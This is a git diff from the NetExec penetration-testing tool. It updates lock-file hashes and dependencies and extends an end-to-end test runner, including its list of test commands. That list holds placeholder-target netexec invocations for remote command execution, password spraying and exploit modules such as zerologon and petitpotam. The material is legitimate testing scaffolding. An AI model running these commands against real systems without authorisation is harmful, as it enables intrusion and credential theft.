{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6f9e2e59cbcc6ba1488404aad43de005d05ca56e069477b33ff74e91b6319735"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84daa0a2055df9ca0f148a64fdde12ac635e30edbca80e87df9b3aaf419e144a"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc8b7dabe8e67c4832891a5d322cec6d44ef02f432b4588390017f5cec186a84"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:f5693145220517b5f42393e07a6898acdfe820e136c98663b971906120549da5"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:db854730a25db7c956423bb9fb4bdd1216c839a689bf9cc15fada0a7fb2f4570"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-win32.whl", hash = "sha256:14a6f68e8fc96e5e8f5647ef6cda6250c780612a573d99e4d881581432ef1669"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-win_amd64.whl", hash = "sha256:87f6e732bccd7dcf1741c00f1ecf33797383128bd1c90144ac8adc02cbb98643"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:342d365988ba88ada8af320d43df4e0b13a694dbd75951f537b2d5e4cb5cd002"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f37c0caf14b9e9b9e8f6dbc81bc56db06acb4363eba5a633167781a48ef036ed"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9373708763ef46782d10e950b49d0235bfe58facebd76917d3f5cbf5971aed"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d24f571990c05f6b36a396218f251f3e0dda916e0c687ef6fdca5072743208f5"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:75432b5b14dc2fff43c50435e248b45c7cdadef73388e5610852b95280ffd0e9"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:884272dcd3ad97f47702965a0e902b540541890f468d24bd1d98bcfe41c3f018"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-win32.whl", hash = "sha256:e607cdd99cbf9bb80391f54446b86e16eea6ad309361942bf88318bcd452363c"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-win_amd64.whl", hash = "sha256:7d505815ac340568fd03f719446a589162d55c52f08abd77ba8964fbb7eb5b5f"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0dacf67aee53b16f365c589ce72e766efaabd2b145f9de7c917777b575e3659d"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b801154027107461ee992ff4b5c09aa7cc6ec91ddfe50d02bca344918c3265c6"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59a21853f5daeb50412d459cfb13cb82c089ad4c04ec208cd14dddd99fc23b39"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29049e2c299b5ace92cbed0c1610a7a236f3baf4c6b66eb9547c01179f638ec5"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b64b183d610b424a160b0d4d880995e935208fc043d0302dd29fee32d1ee3f95"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4f7a7d7fcc675d3d85fbf3b3828ecd5990b8d61bd6de3f1b260080b3beccf215"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-win32.whl", hash = "sha256:cf18ff7fc9941b8fc23437cc3e68ed4ebeff3599eec6ef5eebf305f3d2e9a7c2"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-win_amd64.whl", hash = "sha256:91f7d9d1c4dd1f4f6e092874c128c11165eafcf7c963128f79e28f8445de82d5"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:bb209a73b8307f8fe4fe46f6ad5979649be01607f11af1eb94aa9e8a3aaf77f0"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:798f717ae7c806d67145f6ae94dc7c342d3222d3b9a311a784f371a4333212c7"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fdd402169aa00df3142149940b3bf9ce7dde075928c1886d9a1df63d4b8de62"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:0d3cab3076af2e4aa5693f89622bef7fa770c6fec967143e4da7508b3dceb9b9"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:74b080c897563f81062b74e44f5a72fa44c2b373741a9ade701d5f789a10ba23"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win32.whl", hash = "sha256:87d91043ea0dc65ee583026cb18e1b458d8ec5fc0a93637126b5fc0bc3ea68c4"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win_amd64.whl", hash = "sha256:75f99202324383d613ddd1f7455ac908dca9c2dd729ec8584c9541dd41822a2c"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:420362338681eec03f53467804541a854617faed7272fe71a1bfdb07336a381e"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c88f0c7dcc5f99bdb34b4fd9b69b93c89f893f454f40219fe923a3a2fd11625"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3be4987e3ee9d9a380b66393b77a4cd6d742480c951a1c56a23c335caca4ce3"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2a159111a0f58fb034c93eeba211b4141137ec4b0a6e75789ab7a3ef3c7e7e3"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8b8cb63d3ea63b29074dcd29da4dc6a97ad1349151f2d2949495418fd6e48db9"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:736ea78cd06de6c21ecba7416499e7236a22374561493b456a1f7ffbe3f6cdb4"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-win32.whl", hash = "sha256:10331f129982a19df4284ceac6fe87353ca3ca6b4ca77ff7d697209ae0a5915e"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-win_amd64.whl", hash = "sha256:c55731c116806836a5d678a70c84cb13f2cedba920212ba7dcad53260997666d"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:605b6b059f4b57b277f75ace81cc5bc6335efcbcc4ccb9066695e515dbdb3900"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:665f0a3954635b5b777a55111ababf44b4fc12b1f3ba0a435b602b6387ffd7cf"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecf6d4cda1f9f6cb0b45803a01ea7f034e2f1aed9475e883410812d9f9e3cfcf"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c51db269513917394faec5e5c00d6f83829742ba62e2ac4fa5c98d58be91662f"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:790f533fa5c8901a62b6fef5811d48980adeb2f51f1290ade8b5e7ba990ba3de"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1b1180cda6df7af84fe72e4530f192231b1f29a7496951db4ff38dac1687202d"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-win32.whl", hash = "sha256:555651adbb503ac7f4cb35834c5e4ae0819aab2cd24857a123370764dc7d7e24"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-win_amd64.whl", hash = "sha256:dc55990143cbd853a5d038c05e79284baedf3e299661389654551bd02a6a68d7"},
{file = "SQLAlchemy-2.0.25-py3-none-any.whl", hash = "sha256:a86b4240e67d4753dc3092d9511886795b3c2852abe599cffe108952f7af7ac3"},
{file = "SQLAlchemy-2.0.25.tar.gz", hash = "sha256:a2c69a7664fb2d54b8682dd774c3b54f67f84fa123cf84dda2a5f40dcaa04e08"},
]
[package.dependencies]
greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"}
greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
typing-extensions = ">=4.6.0"
[package.extras]
aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"]
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
aioodbc = ["aioodbc", "greenlet (!=0.4.17)"]
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"]
asyncio = ["greenlet (!=0.4.17)"]
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4)", "greenlet (!=0.4.17)"]
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2)"]
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
mssql = ["pyodbc"]
mssql-pymssql = ["pymssql"]
mssql-pyodbc = ["pyodbc"]
mypy = ["mypy (>=0.910)", "sqlalchemy2-stubs"]
mysql = ["mysqlclient (>=1.4.0)", "mysqlclient (>=1.4.0,<2)"]
mypy = ["mypy (>=0.910)"]
mysql = ["mysqlclient (>=1.4.0)"]
mysql-connector = ["mysql-connector-python"]
oracle = ["cx-oracle (>=7)", "cx-oracle (>=7,<8)"]
oracle = ["cx_oracle (>=8)"]
oracle-oracledb = ["oracledb (>=1.0.1)"]
postgresql = ["psycopg2 (>=2.7)"]
postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
postgresql-pg8000 = ["pg8000 (>=1.16.6,!=1.29.0)"]
postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
postgresql-psycopg = ["psycopg (>=3.0.7)"]
postgresql-psycopg2binary = ["psycopg2-binary"]
postgresql-psycopg2cffi = ["psycopg2cffi"]
pymysql = ["pymysql", "pymysql (<1)"]
sqlcipher = ["sqlcipher3-binary"]
postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
pymysql = ["pymysql"]
sqlcipher = ["sqlcipher3_binary"]
[[package]]
name = "sspilib"
@@ -2168,14 +2175,18 @@ widechars = ["wcwidth"]
[[package]]
name = "termcolor"
version = "1.1.0"
description = "ANSII Color formatting for output in terminal."
version = "2.4.0"
description = "ANSI color formatting for output in terminal"
optional = false
python-versions = "*"
python-versions = ">=3.8"
files = [
{file = "termcolor-1.1.0.tar.gz", hash = "sha256:1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"},
{file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"},
{file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"},
]
[package.extras]
tests = ["pytest", "pytest-cov"]
[[package]]
name = "terminaltables"
version = "3.1.10"
@@ -2340,4 +2351,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
[metadata]
lock-version = "2.0"
python-versions = "^3.8.0"
content-hash = "9926a84b8b7af5447a82db8b1e6723a3cbd46c33f3ea0697a6f2edb69931e01c"
content-hash = "7bde962ed54681c55a1249f2f8272ebf64109417f2a28293eab3eea90ce05c6f"
+7 -7
View File
@@ -36,7 +36,7 @@ nxcdb = 'nxc.nxcdb:main'
python = "^3.8.0"
aardwolf = "^0.2.8"
aioconsole = "^0.6.2"
aiosqlite = "^0.17.0"
aiosqlite = "^0.19.0"
argcomplete = "^3.1.4"
asyauth = ">=0.0.20"
beautifulsoup4 = ">=4.11,<5"
@@ -44,25 +44,25 @@ bloodhound = "^1.7.2"
dploot = "^2.7.1"
dsinternals = "^1.2.4"
impacket = { git = "https://github.com/fortra/impacket.git" }
lsassy = ">=3.1.10"
lsassy = ">=3.1.11"
masky = "^0.2.0"
minikerberos = "^0.4.1"
msgpack = "^1.0.0"
msldap = "^0.5.10"
neo4j = "^5.0.0"
paramiko = "2.12.0"
paramiko = "^3.3.1"
poetry-dynamic-versioning = "^1.2.0"
pyasn1-modules = "^0.2.8"
pyasn1-modules = "^0.3.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
pypykatz = "0.6.6"
pypykatz = "^0.6.8"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
python-dateutil = ">=2.8.2"
python-libnmap = "^0.7.3"
requests = ">=2.27.1"
rich = "^13.3.5"
sqlalchemy = "^1.4.50"
termcolor = "1.1.0"
sqlalchemy = "^2.0.4"
termcolor = ">=2.4.0"
terminaltables = "^3.1.0"
xmltodict = "^0.13.0"
+18
View File
@@ -1,5 +1,6 @@
##### SMB
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
@@ -23,6 +24,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### SMB Modules
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options
@@ -150,7 +154,19 @@ netexec smb TARGET_HOST -u '' -p '' -M petitpotam
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
##### WMI Modules
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid
@@ -204,6 +220,7 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### MSSQL Modules
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
@@ -221,6 +238,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_de
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
##### RDP
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
+65 -13
View File
@@ -2,6 +2,7 @@ import argparse
import os
import subprocess
from rich.console import Console
import platform
def get_cli_args():
@@ -60,9 +61,36 @@ def get_cli_args():
required=False,
help="Protocols to test",
)
parser.add_argument(
"--line-nums",
nargs="+",
type=parse_line_nums,
required=False,
help="Specify line numbers or ranges to run commands from",
)
parser.add_argument(
"--print-failures",
action="store_true",
required=False,
help="Prints all the commands of failed tests at the end"
)
parser.add_argument(
"--dns-server",
action="store",
required=False,
help="Specify DNS server",
)
return parser.parse_args()
def parse_line_nums(value):
line_nums = []
for item in value.split():
if "-" in item:
start, end = item.split("-")
line_nums.extend(range(int(start), int(end) + 1))
else:
line_nums.append(int(item))
return line_nums
def generate_commands(args):
lines = []
@@ -70,21 +98,35 @@ def generate_commands(args):
commands_file = os.path.join(file_loc, "e2e_commands.txt")
with open(commands_file) as file:
for line in file:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
if args.line_nums:
flattened_list = list({num for sublist in args.line_nums for num in sublist})
for i, line in enumerate(file):
if i + 1 in flattened_list:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
else:
for line in file:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
return lines
def replace_command(args, line):
kerberos = "-k " if args.kerberos else ""
dns_server = f"--dns-server {args.dns_server}" if args.dns_server else ""
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos)
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos).replace("{DNS}", dns_server)
if args.poetry:
line = f"poetry run {line}"
return line
@@ -93,6 +135,7 @@ def replace_command(args, line):
def run_e2e_tests(args):
console = Console()
tasks = generate_commands(args)
failures = []
result = subprocess.Popen(
"netexec --version",
@@ -107,10 +150,13 @@ def run_e2e_tests(args):
failed = 0
while tasks:
task = tasks.pop(0)
console.log(f"Running command: {task!s}")
task = str(tasks.pop(0))
# replace double quotes with single quotes for Linux due to special chars/escaping
if platform.system() == "Linux":
task = task.replace('"', "'")
console.log(f"Running command: {task}")
result = subprocess.Popen(
str(task),
task,
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
@@ -125,6 +171,7 @@ def run_e2e_tests(args):
passed += 1
else:
console.log(f"[bold red]{task.strip()} :cross_mark:[/]")
failures.append(task.strip())
failed += 1
if args.errors:
@@ -136,6 +183,11 @@ def run_e2e_tests(args):
if args.verbose:
# this prints sorta janky, but it does its job
console.log(f"[*] Results:\n{text.decode('utf-8')}")
if args.print_failures and failures:
console.log("[bold red]Failed Commands:")
for failure in failures:
console.log(f"[bold red]{failure}")
console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}")